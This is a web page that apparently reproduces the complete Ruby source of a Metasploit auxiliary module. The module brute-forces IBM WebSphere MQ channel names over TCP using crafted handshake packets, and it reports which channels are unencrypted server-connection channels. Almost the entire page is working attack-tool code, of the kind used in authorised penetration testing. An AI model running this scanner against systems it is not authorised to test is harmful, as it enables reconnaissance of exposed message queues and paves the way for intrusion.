Headline
IBM WebSphere MQ Channel Name Bruteforce
This Metasploit module uses a dictionary to bruteforce MQ channel names. For all identified channels it also returns if SSL is used and whether it is a server-connection channel.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize super( 'Name' => 'IBM WebSphere MQ Channel Name Bruteforce', 'Description' => 'This module uses a dictionary to bruteforce MQ channel names. For all identified channels it also returns if SSL is used and whether it is a server-connection channel.', 'Author' => 'Petros Koutroumpis', 'License' => MSF_LICENSE ) register_options([ Opt::RPORT(1414), OptInt.new('TIMEOUT', [true, "The socket connect timeout in seconds", 10]), OptInt.new('CONCURRENCY', [true, "The number of concurrent channel names to check", 10]), OptPath.new('CHANNELS_FILE', [ true, "The file that contains a list of channel names"] )]) end def create_packet(chan) packet = "\x54\x53\x48\x20"+ # StructID "\x00\x00\x01\x0c"+ # MQSegmLen "\x02" + # Byte Order "\x01" + # SegmType "\x01" + # CtlFlag1 "\x00" + # CtlFlag2 "\x00\x00\x00\x00\x00\x00\x00\x00"+ # LUWIdent "\x22\x02\x00\x00"+ # Encoding "\xb5\x01" + # CCSID "\x00\x00" + # Reserved "\x49\x44\x20\x20" + # StructID "\x0d" + # FAP Level "\x26" + # CapFlag1 - Channel Type "\x00" + # ECapFlag1 "\x00" + # IniErrFlg1 "\x00\x00" + # Reserved "\x32\x00" + # MaxMsgBtch "\xec\x7f\x00\x00" + # MaxTrSize "\x00\x00\x40\x00" + # MaxMsgSize "\xff\xc9\x9a\x3b" + # SegWrapVal + chan + # Channel name "\x20" + # CapFlag2 "\x20" + # ECapFlag2 "\x20\x20" + # ccsid "QM1" + "\x20"*45 + # Queue Manager Name "\x20\x20\x20\x20" + # HBInterval "\x20\x20" + # EFLLength "\x20" + # IniErrFlg2 "\x20" + # Reserved1 "\x20\x20" + # HdrCprLst "\x20\x20\x20\x20\x2c\x01\x00\x00"+ # MSGCprLst1 "\x8a\x00\x00\x55\x00\xff\x00\xff"+ # MsgCprLst2 "\xff\xff" + # Reserved2 "\xff\xff\xff\xff" + # SSLKeyRst "\xff\xff\xff\xff" + # ConvBySKt "\xff" + # CapFlag3 "\xff" + # ECapFlag3 "\xff\xff" + # Reserved3 "\x00\x00\x00\x00" + # ProcessId "\x00\x00\x00\x00" + # ThreadId "\x00\x00\x05\x00" + # TraceId "\x00\x00\x10\x13\x00\x00" + # ProdId "\x01\x00\x00\x00\x01\x00" + # ProdId "MQMID" + "\x20"*43 + # MQM Id "\x20\x20\x20\x20\x20\x20\x20\x20"+ # Unknown "\x20\x20\x20\x20\x20\x20\x00\x00"+ # Unknown "\xff\xff\xff\xff\xff\xff\xff\xff"+ # Unknown "\xff\xff\xff\xff\xff\xff\xff\xff"+ # Unknown "\xff\xff\x00\x00\x00\x00\x00\x00"+ # Unknown "\x00\x00\x00\x00\x00\x00" # Unknown end def run_host(ip) @channels = [] @unencrypted_mqi_channels = [] begin channel_list rescue ::Rex::ConnectionRefused fail_with(Failure::Unreachable, "TCP Port closed.") rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error, Errno::ECONNRESET fail_with(Failure::Unreachable, "Connection Failed.") rescue ::Exception => e fail_with(Failure::Unknown, e) end if(@channels.empty?) print_status("#{ip}:#{rport} No channels found.") else print_good("Channels found: #{@channels}") print_good("Unencrypted MQI Channels found: #{@unencrypted_mqi_channels}") report_note( :host => rhost, :port => rport, :type => 'mq.channels' ) print_line end end def channel_list channel_data = get_channel_names while (channel_data.length > 0) t = [] r = [] begin 1.upto(datastore['CONCURRENCY']) do this_channel = channel_data.shift if this_channel.nil? next end t << framework.threads.spawn("Module(#{self.refname})-#{rhost}:#{rport}", false, this_channel) do |channel| connect vprint_status "#{rhost}:#{rport} - Sending request for #{channel}..." if channel.length.to_i > 20 print_error("Channel names cannot exceed 20 characters. Skipping.") next end chan = channel + "\x20"*(20-channel.length.to_i) timeout = datastore['TIMEOUT'].to_i s = connect(false, { 'RPORT' => rport, 'RHOST' => rhost, } ) s.put(create_packet(chan)) data = s.get_once(-1,timeout) if data.nil? print_status("No response received. Try increasing timeout.") next end if not data[0...3].include? 'TSH' next end if data[-4..-1] == "\x01\x00\x00\x00" # NO_CHANNEL code next end if data[-4..-1] == "\x18\x00\x00\x00" # CIPHER_SPEC code print_status("Found channel: #{channel}, IsEncrypted: True, IsMQI: N/A") elsif data[-4..-1] == "\x02\x00\x00\x00" # CHANNEL_WRONG_TYPE code print_status("Found channel: #{channel}, IsEncrypted: False, IsMQI: False") else print_status("Found channel: #{channel}, IsEncrypted: False, IsMQI: True") @unencrypted_mqi_channels << channel end @channels << channel disconnect end end t.each {|x| x.join } end end end def get_channel_names if(! @common) File.open(datastore['CHANNELS_FILE'], "rb") do |fd| data = fd.read(fd.stat.size) @common = data.split(/\n/).compact.uniq end end @common endend